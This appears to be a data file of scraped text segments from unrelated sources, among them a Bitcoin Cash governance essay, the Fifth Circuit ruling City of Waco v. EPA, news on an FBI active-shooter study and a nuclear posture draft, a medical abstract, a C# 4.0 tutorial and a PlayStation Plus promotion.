"\n\nForking is freedom and a beautiful thing, but too many forks lead to a splintering of the community. ",
"This is a real risk and can be very damaging.",
"\n\nPreventing “Developer Capture”\n\nThe early Bitcoin Cash community saw Bitcoin Core as a single point of failure, and believed having multiple implementations was the obvious solution to the problem of developer capture.",
"\n\nBut this doesn’t solve the problem entirely.",
"\n\nMultiple implementations are beneficial for a few reasons. ",
"They give miners more options — the community isn’t “stuck” with only one reliable software choice Also, multiple implementations make the network more robust in case of node crashes. ",
"Finally, it is harder to corrupt multiple groups than it is with a single group.",
"\n\nBut, what happens when developers disagree? ",
"The fundamental dilemma over consensus remains.",
"\n\nHaving Multiple Implementations Doesn’t Necessarily Create More Capture-Resistance\n\nThe conventional wisdom says that multiple groups are more capture resistant since you can’t corrupt them all. ",
"But there is a flaw in the logic here, because you actually don’t need to corrupt them all. ",
"If you want to take over the Bitcoin Cash network, you only need to control a single implementation — the one whose rules the network follows or will follow.",
"\n\nAnd history shows, in fact, that Bitcoin protocol development was paradoxically more capture resistant when it was centralized, rather than decentralized.",
"\n\nFor example, in the early days, protocol decision making was centralized under Satoshi and then Gavin, and the project did great. ",
"Gavin added Wladimir as a github contributor with commit privileges, who later added others, and so it began. ",
"It was only after it was “decentralized” that the Core developers got corrupted, kicked Gavin out, and changed Bitcoin from global digital cash to whatever BTC is now.",
"\n\nGranted, one can also argue that Core was a single centralized group, so the issue isn’t cut and dried. ",
"Corruption can happen with or without decentralization.",
"\n\nA similar pattern happened when Bitcoin Cash was born. ",
"ABC successfully forked BTC into Bitcoin Cash, and at first all was well. ",
"Later, when ABC, BU, and nChain were the three major implementation groups, the situation got bad.",
"\n\nAlthough nChain’s takeover attempt failed, Bitcoin Cash suffered greatly because of high levels of uncertainty in the market, which resulted in a severe price crash. ",
"Despite having good people in both ABC and BU, the two groups were unable to present a united front against nChain, which allowed them to gain a strong footing.",
"\n\nNow, let us examine a few possible models for protocol governance:\n\nThe “Extreme Consensus” Model\n\nThis is the BTC approach: Avoid protocol upgrades entirely, or only allow them if there is overwhelming super majority consensus. ",
"Despite Core’s extremist and sometimes disingenuous narratives, there actually is some merit to the principle of avoiding network upgrades, as it simultaneously avoids both protocol capture and community splits.",
"\n\nThis approach only makes sense at a time when the protocol doesn’t need upgrades for the foreseeable future. ",
"Allowing the network to become ossified is the result of applying this strategy too soon, before the protocol has ripened. ",
"The blocksize limit was the most obvious example, but other changes may be needed as we continue toward our goal of global-scale digital money.",
"\n\nBut, even as we utilize protocol upgrades in BCH, the principle of Bitcoin being “hard to change” can help us and is something to keep in mind.",
"\n\nThe “Miner Voting” Model\n\n“Take the power away from developers and give it back to the miners!”. ",
"This is the rallying call for the miner voting model, but it comes with its own set of issues.",
"\n\nFirstly, there is no guarantee miners will fully participate in the voting, and may even do so dishonestly. ",
"We saw this during the lead-up to the BTC-BCH split. ",
"Worse, a minority chain like Bitcoin Cash is very vulnerable to manipulative voting from a well funded saboteur.",
"\n\nFinally, even though the mining community should strive to become better informed and more involved, in practice they still prefer to avoid politics and defer to a trusted group of developers with a proven track record. ",
"This is why miners stuck with Core for so long and is the same reason most miners continue to run Bitcoin ABC, despite there being alternatives.",
"\n\nSome developers have also proposed allowing miners to vote just to include certain features, but this would become messy — for example if miners voted for a feature one group wants, but another doesn’t implement. ",
"Not coincidentally, most of the calls to implement miner voting come not from miners, but from developers of competing implementations, as it provides a way to gain more influence over the protocol.",
"\n\nThe “Multiple Groups with No Lead Implementation” Model\n\nIn practice so far (2017–2019), the Bitcoin ABC implementation has much more control over the protocol than other implementations since most mining pools and exchanges run it. ",
"But suppose this wasn’t the case.",
"\n\nIn this hypothetical model, we can envision 5 mining pools running 5 different implementations, and perhaps exchanges commonly running all their nodes. ",
"This is what many in the early BCH community imagined and wanted.",
"\n\nHowever, this isn’t a panacea. ",
"In case of disagreements, the answer to “who decides” suddenly gets a lot more complicated, and the risk of a community split becomes greater.",
"\n\nThe security model is also weakened because a bad actor could take over the ticker symbol by creating their own “hashwar” and bribing exchanges to use one of the multiple implementations they run as the “reference”.",
"\n\nPerhaps some would argue that having no lead implementation would be best even if it means having plenty of splits, with the rationale that you can keep all your forked coins and stay fully hedged. ",
"But that argument would be ignoring the fact that there’s already 3000 altcoins and BCH is too small to keep splitting.",
"\n\nAs we saw at the time of the BCH-BSV split, the sum of both forked coins’ prices were lower than the pre-fork price. ",
"The process of price discovery and the battle over ticker symbols, key infrastructure and people can be lengthy, disruptive, and expensive.",
"\n\nThe “Multiple Groups with a Lead Implementation” Model\n\nThis is the model we have today in Bitcoin Cash. ",
"Bitcoin ABC allows collaboration but in practice has a final say in what goes into the protocol. ",
"This is routinely criticized within the internal Bitcoin Cash community as a failure to truly implement the ideals of decentralized development.",
"\n\nBut, we should remember that “decentralized development” is merely a means to an end. ",
"The real goals are peer-to-peer cash for the world, having network rules to support this, and preventing anyone from impeding progress.",
"\n\nThe key benefit of having a single implementation be “the decider” is that it creates a strong schelling point. ",
"The idea is that the community follows the upgrades from the lead team as long as they are reasonable.",
"\n\nIn general, the fewer and more powerful schelling points, the less “decentralized” things are from a certain perspective, but the more sure we are to stay on track, assuming corruption doesn’t occur.",
"\n\nIn the case when the lead group is doing a good job and most of the other developer groups support and helpfully collaborate with the lead group, then there is no problem.",
"\n\nSooner or later, the supremacy of the lead group will be challenged. ",
"This can happen even when many believe the lead group is doing a good job. ",
"Perhaps others don’t agree the lead group is good… or, they may simply be interested in controlling the protocol.",
"\n\nAs control over the protocol is power, attempting to grab that power is a natural incentive that is always present. ",
"The incentive applies to existing groups that would like to be in charge, outsiders who would like to come in and control the protocol, and saboteurs as well.",
"\n\nThe mantle is always there for the challengers. ",
"This is a key point and it’s why we frequently see divide and conquer tactics and constant attacks on Bitcoin ABC. ",
"In many strategies, one of the first steps to gaining power is to discredit the group in charge.",
"\n\nIt is also obviously possible for a lead group to do an objectively bad job or become corrupted, in which case it is appropriate for another group to attempt to supplant them.",
"\n\nThere are no easy answers for resolving differences of opinion on whether a group is doing a “good” or “bad” job. ",
"But, participating in a challenge to the lead group’s role is not something to take lightly, and should be done only with full awareness of the dynamics at play. ",
"Even in the noblest situation where a lead group is truly corrupt and an outstanding group is ready to replace them, a coup can be extremely costly and risky.",
"\n\nCollaboration\n\nCryptocurrency is a fundamentally cooperative domain. ",
"No one can force you to run certain code or use a certain coin. ",
"Thus, power comes from collaboration rather than coercion.",
"\n\nIn a perfect world, everyone would be only concerned with the highest and best interests of the protocol. ",
"In the real world, many people and groups are self-seeking and focused on their own agendas. ",
"This is a fact of life and won’t change.",
"\n\nInfighting is bad because it creates instability, poisonous culture, and uncertainty in the market. ",
"Saboteurs want infighting, but it’s also important to note that implementations wanting to overthrow the leader also create infighting, and may not care about the consequences of doing so.",
"\n\nThere is a tragedy of the commons with multiple implementations: The people in the implementations who care most about the coin rather than their own power are incentivized to do whatever is right for the coin. ",
"But the people who care more about being in power have less incentive to cooperate because they care less about the consequences.",
"\n\nTruly benevolent dictators do not seek control for control’s sake, and instead attempt to foster a culture of inclusiveness and collaboration because that is in the best interests of the coin. ",
"But it is not always beneficial to include everyone, particularly those that demonstrate power-seeking behavior.",
"\n\nSolutions\n\nThis article is meant to be food-for-thought rather than prescriptive. ",
"Nobody has a magic silver bullet for governance, and perhaps there never will be one. ",
"But, here are some guiding principles that may help us:\n\n1. ",
"Have plenty of censorship-free communication channels.",
"\n\nCensorship is very dangerous in Bitcoin as we saw with Bitcoin Core, as it prevents even discussing a legitimate challenge to a lead implementation. ",
"Note that moderation isn’t the same as censorship.",
"\n\n2. ",
"Have a shared vision of the desired outcome.",
"\n\nBitcoin Cash has a clear goal of becoming permissionless peer-to-peer cash for the world. ",
"Having a clear goal in mind makes our job easier. ",
"We don’t need to absolutely solve distributed governance — we just need to be aware enough to keep the ship on course.",
"\n\nPersonally, I like the mission statement “Permissionless peer to peer cash at global scale”. ",
"Documents like the Bitcoin Cash Roadmap are helpful because they further define some of the high level details of what protocol changes we would like. ",
"They also can serve as schelling points and also a compass to let the community know if it’s on track. ",
"Additional documents such as manifestos can help too.",
"\n\n3. ",
"The more educated the community, the better the outcome.",
"\n\nThis applies to everything from Bitcoin knowledge in general, to knowledge about the various actors in the sphere and their behaviors, to game-theory and philosophy.",
"\n\n4. ",
"Have good schelling points.",
"\n\n“A house divided against itself, cannot stand.”"
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[
"620 F.2d 84\n15 ERC 1174, 10 Envtl. ",
"L. Rep. 20,545\nCITY OF WACO, Petitioner,v.ENVIRONMENTAL PROTECTION AGENCY, Respondent.",
"\nNo. ",
"78-1897.",
"\nUnited States Court of Appeals,Fifth Circuit.",
"\nJune 26, 1980.",
"\n\nFulbright & Jaworski, David J. Beck, Gary M. Lawrence, Ronald Dean Secrest, Houston, Tex., ",
"amicus curiae for petitioner.",
"\nWiley W. Stem, Jr., Waco, Tex., ",
"for City of Woodway, Tex.",
"\nGloria J. Ellis, Atty., ",
"Environmental Protection Agency, Angus Macbeth, Barbara H. Brandon, Dept. ",
"of Justice, Land and Natural Resources Division, Washington, D.C., for respondent.",
"\n\n\n1\nPetition for Review of an Order of the Environmental Protection Agency.",
"\n\n\n2\nBefore TJOFLAT and SAM D. JOHNSON, Circuit Judges, and SEAR*, District Judge.",
"\n\nSEAR, District Judge:\n\n3\nThe City of Waco has petitioned for review of the Environmental Protection Agency's (EPA) designation of McLennan County, Texas1 as a nonattainment area for photochemical oxidants pursuant to § 107(d) of the Clean Air Act, 42 U.S.C. § 7407(d).2 Because the EPA failed to comply with the procedural requirements of the Administrative Procedure Act (APA), 5 U.S.C. § 551 et seq., ",
"we remand to the agency for further proceedings.",
"\n\n\n4\nThe Clean Air Act amendments of 1970, P.L. 91-604, 84 Stat. ",
"1676, directed the Administrator of the EPA to list all air pollutants which in his judgment pose a threat to the public health and welfare and to establish primary and secondary ambient air quality standards for each such pollutant defining the levels of air quality necessary to protect the public health and welfare from its adverse affects. ",
" §§ 7408-09.3 Once ambient standards have been established, the statute requires each state to develop a detailed implementation plan to insure that the air quality within that state meets those standards. ",
" §§ 7410, 7502. ",
" The 1970 amendments required that the states meet the primary standards within three years from the date of EPA approval of the implementation plan and the secondary standards within a \"reasonable time.\" ",
" P.L. 91-604, § 110(a)(2)(A).",
"\n\n\n5\nAreas within many states failed to achieve compliance with the primary standards by the statutory deadlines,4 and it became necessary for Congress to amend the Clean Air Act again in 1977 to establish new deadlines and to detail a state and local planning process employing strict federal review to insure that the new deadlines would be met. ",
" P.L. 95-95, 91 Stat. ",
"685. ",
" The amended Act directed the states to submit to the EPA by December 5, 1977 a list of nonattainment areas5 for all pollutants for which the agency had set primary standards. ",
" § 7407(d)(1). ",
" Within 60 days thereafter EPA was to promulgate these lists with any modifications it deemed necessary. ",
" § 7407(d) (2). ",
" The states were then required to develop implementation plans by January 1, 1979 for attaining the primary standards by December 31, 1982. ",
" P.L. 95-95, § 129(b), 42 U.S.C. §§ 7410, 7502.6\n\n\n6\nOn January 9, 1978 the Texas Air Control Board submitted its initial list of nonattainment areas, which designated McLennan County as \"unclassifiable\"7 for photochemical oxidant pollution. ",
" Without notice or the opportunity for prior comment required by the APA,8 the EPA changed the McLennan County classification for oxidants to \"nonattainment\" when it published its final list of state nonattainment areas on March 3, 1978. ",
" 43 Fed.",
"Reg. ",
"8962, 9037. ",
" As a substitute for pre-promulgation comment the agency provided a sixty-day period after publication for comment by interested parties. ",
" On September 1, 1978, after considering the comments submitted, the agency reaffirmed its nonattainment classification for McLennan County. ",
" 43 Fed.",
"Reg. ",
"40412, 40433.",
"\n\n\n7\nThe City of Waco challenges the March 3 redesignation on both procedural and substantive grounds. ",
" Because the EPA failed to follow the procedures of the APA, we remand on that basis and need not reach the substantive issues.",
"\n\n\n8\nThis resolution is mandated by our recent decision in United States Steel Corp. v. United States Environmental Protection Agency, 595 F.2d 207 (5 Cir. ",
"1979), modified on rehearing, 598 F.2d 915 (5 Cir. ",
"1979), which involved a challenge to the same March 3, 1978 EPA listing because of its redesignation of certain areas in Alabama as \"nonattainment\" for particulate matter. ",
" As in the case sub judice the EPA promulgated those redesignations without prior notice or opportunity for comment, instead providing a sixty-day post-promulgation comment period. ",
" The agency contended, inter alia, that the imminence of the Congressionally imposed deadlines for the submission of the state implementation plans for attainment of the primary ambient standards justified this procedural course under the \"good cause\" exception of 5 U.S.C. § 553(b)(B)9 and that the sixty-day post-promulgation comment period cured whatever procedural error may have been committed. ",
" We rejected the agency's § 553(b)(B) contention and held:\n\n\n9\n\"(T)he mere existence of deadlines for agency action, whether set by statute or court order, does not in itself constitute good cause for a § 553(b)(B) exception. ",
" American Iron and Steel Institute v. EPA, 568 F.2d 284, 292 (CA3 1977); Shell Oil Co. v. FEA (Federal Energy Administration), 527 F.2d 1243, 1248 (TECA 1975).\"",
"\n\n\n10\n595 F.2d at 213. ",
" Likewise we found no merit in the second argument, reasoning that acceptance of the EPA's position would allow any agency to dispense with pre-promulgation notice and comment whenever it so desired. ",
" Id., at 215. ",
" U.S. Steel is indistinguishable from the instant case on these procedural issues. ",
" The same arguments made there are made here, and having been rejected in U.S. Steel, they must also be rejected here.",
"\n\n\n11\nRespondent contends that a remand is nonetheless unnecessary because events subsequent to the filing of the petition for review have rendered the issues raised by this appeal moot. ",
" On February 8, 1979 the Administrator relaxed the primary and secondary ambient air quality standards for photochemical oxidants, 44 Fed.",
"Reg. ",
"8220, and as a result the State of Texas requested that McLennan County be redesignated as an attainment area for that pollutant. ",
" 44 Fed.",
"Reg. ",
"58922. ",
" In a Suggestion of Mootness filed on April 9, 1980, just five days before oral argument, counsel for EPA revealed that on the previous day the Administrator had modified the McLennan County designation for oxidants from \"nonattainment\" to \"attainment or unclassifiable\". ",
"The agency contends that there is no further relief which petitioner could receive on remand and that the controversy has therefore been rendered moot.",
"\n\n\n12\nIn order for voluntary cessation of allegedly illegal conduct to render a case moot, there must be no reasonable expectation that the alleged violation will recur, and intervening events must have completely eradicated the effects of the conduct. ",
" County of Los Angeles v. Davis, 440 U.S. 625, 631, 99 S.Ct. ",
"1379, 1383, 59 L.Ed.2d 642 (1979). ",
" This case may well be moot under that standard, but the present record is inadequate to enable us to make such a determination. ",
" Indeed, there is no record from which it would be possible for us to decide whether a further reclassification of McLennan County to nonattainment status is imminent. ",
" However, the agency should consider the question of mootness on remand.10\n\n\n13\nDuring the pendency of this appeal, petitioner moved for the assessment of attorney's fees for the expenditures incurred in contesting the EPA's actions. ",
" In its Suggestion of Mootness the agency admits that an award of fees is appropriate and has signified its willingness to negotiate the size of the award. ",
" If the parties are unable to agree upon the amount of the fee to be awarded, we may later be called upon to determine an appropriate one. ",
" However, any resolution by the Court at this time would be premature, and the City of Waco's motion is therefore denied.",
"\n\n\n14\nThe petition to set aside the § 7407(d) designation is GRANTED, and the matter is REMANDED to the Environmental Protection Agency for reconsideration of the designation in accordance with the procedural requirements of the Administrative Procedure Act.",
"\n\n\n\n*\n District Judge of the Eastern District of Louisiana, sitting by designation\n\n\n1\n The City of Waco is located in McLennan County\n\n\n2\n The Clean Air Act is codified at 42 U.S.C. §§ 7401-7642. ",
" Unless otherwise specified, we will hereafter cite only the U.S. Code sections\n\n\n3\n The pollutants for which primary and secondary standards have been set include sulfur oxides, particulate matter, carbon monoxide, hydrocarbons, nitrogen dioxide, lead and ozone. ",
" 40 C.F.R. §§ 50.4-50.12. ",
" During the period with which we are concerned on this appeal, the regulations referred to \"photochemical oxidants\" rather than \"ozone\"\n\n\n4\n H.R. Rep. 95-294, 95th Cong., ",
"1st Sess. ",
"207, U.S.Code Cong. & ",
"Admin.",
"News 1977, p. 1077\n\n\n5\n § 7501(2) defines the term \"nonattainment area\" for a listed pollutant as\n\"an area which is shown by monitored data or which is calculated by air quality modeling (or other methods determined by the Administrator to be reliable) to exceed any national ambient air quality standard for such pollutant.\"",
"\nAn area which meets the air quality standard is known as an \"attainment area\", while those areas which cannot be classified on the basis of available data are designated as \"unclassifiable.\" ",
" See § 7407(d)(1).",
"\n\n\n6\n § 7502(a) provides that under certain conditions the deadline for attaining the primary standard for carbon monoxide and photochemical oxidant pollution may be extended until December 31, 1987\n\n\n7\n See n. 5, supra\n\n\n8\n 5 U.S.C. § 553 requires that before an administrative agency promulgates any rule, the proposed rule must first be published in the Federal Register, and interested persons must be given an opportunity to participate in the rulemaking process through submission of written data, views and arguments. ",
" Attainment designations are \"rules\" within the meaning of § 553. ",
" United States Steel Corp. v. United States Environmental Protection Agency, 595 F.2d 207, 213 (5 Cir. ",
"1979). ",
" An agency need not comply with these requirements if it finds for good cause that notice and public comment are \"impracticable, unnecessary, or contrary to the public interest.\" ",
" § 553(b)(B)\n\n\n9\n See n. 8, supra\n\n\n10\n Although the EPA may initiate rulemaking proceedings at any time it deems such action necessary to carry out its statutory mandate, § 7601(a), the fact that the reclassification at issue here occurred only six days before oral argument must be considered on remand in determining the probability of resumption of the allegedly illegal conduct. ",
" See United States v. Oregon State Medical Society, 343 U.S. 326, 333, 72 S.Ct. ",
"690, 695, 96 L.Ed. ",
"978 (1952). ",
" In view of the incomplete record which is before us, the timing of the reclassification cannot form a basis for our decision today\n\n\n"
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[
"Story highlights Between 2000-2013, there were 160 \"active shooter\" incidents, FBI study shows\n\nMost shootings were carried out by males -- only six were female\n\n70% of the incidents took place at schools or businesses, report says\n\nMass shootings have been occurring more frequently in recent years, an FBI study shows, with nearly one incident a month from 2000 to 2013.",
"\n\nThe study, which was released Wednesday, reported 160 incidents during that time, with 486 people killed and 557 wounded. ",
"Those figures don't include the deaths or injuries of the shooters.",
"\n\nThe bureau called such shootings \"active shooter incidents\" -- which the report described as \"individuals actively engaged in killing or attempting to kill people in populated areas (excluding shootings related to gang or drug violence).\"",
"\n\nUnderscoring the difficulty authorities have to prevent such incidents or reduce their lethality, the study found that 60% of the shootings ended before law enforcement officials arrived. ",
"In cases where investigators could determine the length of time of the incident, most of the shootings lasted under five minutes and many under two minutes.",
"\n\nIn 40% of the cases studied, the shooters killed themselves.",
"\n\nJUST WATCHED Remembering the children of Sandy Hook Replay More Videos ... MUST WATCH Remembering the children of Sandy Hook 02:47\n\nJUST WATCHED Victims remembered at 1 year of shooting Replay More Videos ... MUST WATCH Victims remembered at 1 year of shooting 02:47\n\nJUST WATCHED Search for motive in Fort Hood shooting Replay More Videos ... MUST WATCH Search for motive in Fort Hood shooting 02:44\n\nJUST WATCHED 2007: Virginia Tech shooting Replay More Videos ... MUST WATCH 2007: Virginia Tech shooting 01:26\n\nMost of the shootings were carried out by males. ",
"Only six of the \"active shooters\" in incidents during that time period were female.",
"\n\nSeventy percent of the incidents \"occurred in either a commerce/business or educational environment,\" the FBI said.",
"\n\nJames Yacone, the FBI's assistant director overseeing the Critical Incident Response Group, said at a briefing that the study is part of a White House-directed response to some of the recent mass shooting incidents and the need to understand what's behind them and how to prevent them.",
"\n\nBecause police and other first-responders often also are shot or wounded, the FBI hopes to implement better practices for local agencies usually first on the scene.",
"\n\n\"In essence, we're trying to improve our readiness,\" Yacone said.",
"\n\nFrequency increasing\n\nAnd if you think such shootings seem to be happening more frequently in the past few years, you're right.",
"\n\n\"In the first half of the years studied, the average annual number of incidents was 6.4, but that average rose in the second half of the study to 16.4, an average of more than one incident per month,\" the study said.",
"\n\n\"Recognizing the increased active shooter threat and the swiftness with which active shooter incidents unfold, these study results support the importance of training and exercises -- not only for law enforcement but also for citizens.\"",
"\n\nThe FBI said the goal of the study is to \"provide federal, state, and local law enforcement with accurate data so they can better understand how to prevent, prepare for, respond to, and recover from these incidents.\"",
"\n\nActive shooter incidents differ from \"a defined crime, such as a murder or mass killing,\" the study says, because \"the active aspect inherently implies that both law enforcement personnel and citizens have the potential to affect the outcome of the event based upon their responses.\"",
"\n\nAndre Simons leads the FBI's Behavioral Analysis Unit 2 in Quantico, Virginia, which is helping to study the motives for shootings and assists local police in detecting early signs that may indicate a suspect is planning one. ",
"Simons said at Wednesday's briefing that while the motives vary widely, more shooters appear to be inspired by past mass shootings.",
"\n\n\"The copycat phenomenon is real,\" Simons said.",
"\n\nAnecdotal evidence shows that \"many active shooters have a real or perceived deeply held personal grievance and the only remedy that they can perceive for that grievance is an act of catastrophic violence against a person or an institution,\" Simons said.",
"\n\nMany shooters research major shooting events and find inspiration from the notoriety that killers receive.",
"\n\n\"As more and more notable and tragic events occur, we think we're seeing more compromised and marginal individuals who are seeking inspiration from these past attacks,\" Simons said.",
"\n\nCase studies\n\nAmong the incidents studied by the FBI for the report was the Sandy Hook Elementary School shooting in Newtown, Connecticut, on December 14, 2012. ",
"Gunman Adam Lanza , 20, killed 20 children, ages 6 and 7, and six adults at the school before killing himself. ",
"Police later found the body of Lanza's mother at her home.",
"\n\n\"In at least nine incidents, the shooter first shot and killed a family member(s) in a residence before moving to a more public location to continue shooting,\" the FBI report said.",
"\n\nAnother case studied for the report was the mass shooting at an Aurora, Colorado, movie theater in 2012. ",
"Twelve people were killed and 58 wounded. ",
"Accused gunman James Holmes pleaded not guilty by reason of insanity to the killings; his trial begins next month.",
"\n\nIn 2007, Virginia Tech student Seung-Hui Cho shot and killed 32 people and wounded dozens more in a classroom building and a dorm on campus before killing himself.",
"\n\nMaj. ",
"Nidal Malik Hasan killed 13 people and wounded 32 at Fort Hood, Texas, during a shooting rampage November 5, 2009. ",
"He was convicted and sentenced to death."
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[
"This article is from the archive of our partner .",
"\n\nHere's a tough pill for Huffington Post readers to swallow. ",
"The parent company that just acquired HuffPo is run by \"one of the most conservative people around.\" ",
"That's according to Business Insider's Nicholas Carlson, citing a source close to AOL chief Tim Armstrong. ",
"Making matters worse for Huffpo's liberal readership, Armstrong may also be a registered Republican. \"",
"Unless there is another Timothy Armstrong living in Riverside, Connecticut,\" writes Carlson, \"the AOL chief is also a Republican donor, having given $500 to Thomas Herrmann's 2010 run for Congress.\"",
"\n\nAs many will recall, in 2004, the Huffington Post was conceived as the liberal answer to Matt Drudge's conservative news site The Drudge Report. ",
"Already, word that the site is being acquired by a large corporation whose CEO \"calls himself a libertarian\" has provoked a strong reaction among readers. \"",
"This is a mistake, I'm boycotting Huff Post,\" wrote a reader on HuffingtonPost.com. \"",
"Can Arianna bring progressive values to a mega-corporation like AOL?\" ",
"began another reader. \"",
"Not if history serves as an example of what happens to smaller successful new companies that merge with (get bought out by / sell out to) mega corporations.\""
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[
"Story highlights This change could potentially allow for a nuclear response to a cyberattack on US infrastructure\n\nCurrent US policy requires a lawful order by any President to use nuclear weapons\n\nWashington (CNN) The Pentagon is considering recommending a change in policy regarding the use of nuclear weapons that could potentially open the door to a US nuclear response to a massive cyberattack, according to a defense official familiar with a draft of the Trump administration's Nuclear Posture Review who cautions it is not final.",
"\n\nPreviously, a nuclear response has not been on the table for responding to most non-nuclear threats against the US.",
"\n\nBut the language in this particular draft of the review could potentially allow for a nuclear response to a cyberattack on US infrastructure, the official noted.",
"\n\nWhile cyberattacks on the US are downplayed in the report, the official said, the implication is that there could be a US nuclear response if there was a devastating cyberattack on US infrastructure such as power grids, although that specific scenario is not mentioned.",
"\n\nCurrent US policy requires a lawful order by the President to use nuclear weapons.",
"\n\nRead More"
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"A village would be nice but...it takes a long-acting contraceptive to prevent repeat adolescent pregnancies.",
"\nTo determine which components of a comprehensive, multidisciplinary, adolescent-oriented maternity program help teenage mothers delay subsequent pregnancies. ",
"A cohort of 373 participants in a comprehensive, multidisciplinary, adolescent-oriented maternity program was studied. ",
"The program was designed to prevent rapid subsequent pregnancies directly by simplifying access to contraceptives and indirectly by discouraging school drop-out and encouraging the pursuit of careers incompatible with closely spaced childbearing. ",
"Parents and children were seen together; nine visits were scheduled during the first postpartum year and four visits during the second year. ",
"Repeat adolescent pregnancy. ",
"The repeat pregnancy rate was 14% at 1 year and 35% at 2 years. ",
"Teenage mothers who became pregnant exhibited significantly more repeat pregnancy risk factors but were as compliant with clinic visits as their nonpregnant peers. ",
"The contraceptive choices the teenagers made during the puerperium had the most profound effect on their subsequent fertility. ",
"A logistic regression analysis identified failure to use Norplant during the puerperium as the strongest predictor of repeat pregnancy during the first 2 postpartum years (relative risk [RR]=8.89; 95% confidence interval [CI]=2.80-28.50). ",
"Exhibiting nine or more repeat pregnancy risk factors (RR=2.37; 95% CI=1.38-4.06) and not using Depo-Provera during the puerperium (RR=2.30; 95% CI=1.60-3.29) also predicted repeat conception, but clinic visits and return to school postpartum did not. ",
"Using a long-acting hormonal contraceptive during the puerperium was associated with pregnancy prevention during the first 2 postpartum years, but frequent clinic visits, contact with supportive healthcare and social service providers, and return to school were not."
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"\n12 A.3d 212 (2011)\nVAN DUNK\nv.\nRECKSON ASSOCIATES REALTY CORPORATION.",
"\nC-472 September Term 2010, 066949\nSupreme Court of New Jersey.",
"\nJanuary 27, 2011.",
"\nPetition for Certification Granted.",
"\n"
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"c.Call Reflection : currently we use Reflection to\ninstantiate a class when a types is not known at compile type.",
"\n\nExample:\n\n2.Named and Optional Parameters: Named arguments enable you to\nspecify an argument for a particular parameter by associating the argument with\nthe parameter's name rather than with the parameter's position in the parameter\nlist. ",
"Optional Parameters\nenable you to omit arguments for some parameters. ",
"Both techniques can be used\nwith methods, indexers, constructors, and delegates.",
"\n\nExample:\n\n3.Covariance and Contravariance: covariance and\ncontravariance refers to the ordering of types from narrower to wider and their\ninterchange ability or equivalence in certain situations (such as parameters,\ngenerics, and return types). (",
"Source- Wikipedia).",
"\n\nTypes that are\n\n·covariant: converting from a specialized type\n(Cats) to a more general type (Animals): Every cat is an animal.",
"\n\n·contravariant: converting from a general type\n(Shapes) to a more specialized type (Rectangles): Is this shape a rectangle?",
"\n\nExample:\n\nCovariance:\n\nIf you see above example here, you will find two interesting\npoint here inside Main method. ",
"If you try to compile this program in .Net\nFramework 3.5 or less you will get error in second line of Main method saying\n“An explicit conversation exist (are you\nmissing a cast?)”.",
"\n\nIEnumerable<Person>\npersons = newList<Employee>();\n\nIt’s really surprising, If a base class called Person can\nhold the object of his child class called Employee, then why this is not\napplicable in with group of objects. ",
"SO this is where C#4.0 introduced a\nfeature called Covariance. ",
"SO if you compile it under C# 4.0 compiler you will\nnot get any error.",
"\n\nSo the result here is: Covariance preserves assignment\ncompatibility.",
"\n\nContraVariance:\n\nIn above example, I have an overloaded method called\nPrintPerson. ",
"If you compile above code in C# 3.5 or less version you will get\nerror on last line of code.",
"\n\nIEnumerable<Employee> empList = newList<Employee>();\n\nPrintPerson(empList);\n\nBut in C# 4.0 or later version it works fine. ",
"SO this is\nwhere C#4.0 introduced a feature called Contravariance.",
"\n\n4.COM Interop Enhancement.",
"\n\nIn C# 4.0, calling COM object become more\neasier. ",
"For an example let’s talk about Microsoft.",
"Office.",
"Interop.",
"Word. ",
"We will\nwrite a code to open a word file in C# 3.5 and C#4.0 and then we will see\nwhat’s enhancements is done in C#4.0.",
"\n\nIf you see the above code here, it says\nitself about the enhancement of COM Interop library. ",
"Writing code become more\neasier than earlier version of C#."
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"Hillary Clinton addresses Service Employees International Union (SEIU) members at the group's 2016 international convention in Detroit, Michigan, on May 23. ",
"REUTERS/Rebecca Cook Democratic presidential frontrunner Hillary Clinton targeted her likely Republican rival at a Detroit event on Monday, calling him a \"bully\" and charging that he'd \"bankrupt America.\"",
"\n\nDonald Trump, the presumptive Republican nominee for president, has been looking toward the general election and targeting Clinton recently as he has surged in national polls.",
"\n\nNow, Clinton is returning fire by attacking Trump on his business record, immigration policies, economic policies, and supposed \"bullying.\"",
"\n\nNBC News called it \"the best preview yet of her campaign's general election strategy.\"",
"\n\nHere are some of the attacks Clinton mounted on Trump at the Service Employees International Union's annual convention:\n\n\"H e could bankrupt America like he's bankrupted his companies. ",
"Ask yourself: How could anybody lose money running a casino? ",
"Really.\" ",
"Clinton was apparently referring to Trump's Taj Mahal casino in Atlantic City, New Jersey.",
"\n\ne could bankrupt America like he's bankrupted his companies. ",
"Ask yourself: How could anybody lose money running a casino? ",
"Really.\" ",
"Clinton was apparently referring to Trump's Taj Mahal casino in Atlantic City, New Jersey. \"",
"We need a president who will use the bully pulpit to stand up for working families. ",
"But the last thing we need is a bully in the pulpit.\"",
"\n\n\"What kind of country would we be if we let Donald Trump rip our families apart? ",
"We have to reject this wrong vision for America with a strong, clear voice.\"",
"\n\n\"A lot of Republicans themselves say Donald Trump is a disaster waiting to happen to America.\"",
"\n\n\"What little we know of his economic policies would be running up our debt, starting trade wars, letting Wall Street run wild. ",
"All of that could cause another crash and devastate working families and our country.\"",
"\n\n\"Trump economics is a recipe for lower wages, fewer jobs, more debt.\"",
"\n\nTrump has been relentless with his attacks on Clinton in recent weeks. ",
"On Monday, for instance, he posted a video on his Instagram account featuring interview clips of women who have accused former President Bill Clinton, Hillary's husband, of sexual misconduct. ",
"The clip asked whether Hillary Clinton was \"really protecting women.\"",
"\n\nAt a National Rifle Association event on Friday, Trump attacked Clinton over her gun-control policies and claimed that she would \"abolish the Second Amendment.\"",
"\n\nTrump has also gone on several tweetstorms about Clinton, often referring to her by his preferred moniker: \"Crooked Hillary.\""
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"Submit to the addictiveness of Monster Hunter with MH: Freedom Unite, free for PlayStation Plus members starting Tuesday, 3/25. ",
"Take down bizarre creatures and loot their bodies for crafting components so you can make more powerful weapons to take down bigger, badder monsters. ",
"If you don’t want to take on enemies alone, you can play with up to 4 of your friends. ",
"Even if you can’t pull a group of friends together, you can always hire a Felyne companion in the game, and let’s face it, they are way more adorable than any of your friends.",
"\n\nThis week for our Spring Fever sale you can pick up Fez on PS4, PS3 and PS Vita at a discount along with a bunch of BioShock markdowns.",
"\n\nYou can download Monster Hunter Freedom Unite after the PlayStation Store updates tomorrow, 3/25.",
"\n\nMonster Hunter Freedom Unite (PS Vita) Free for PS Plus members *The biggest Monster Hunter title to date with over 500 hours of gameplay.",
"\n\n*Huge variety of character customizations including 1400 weapons and over 2000 armor sets.",
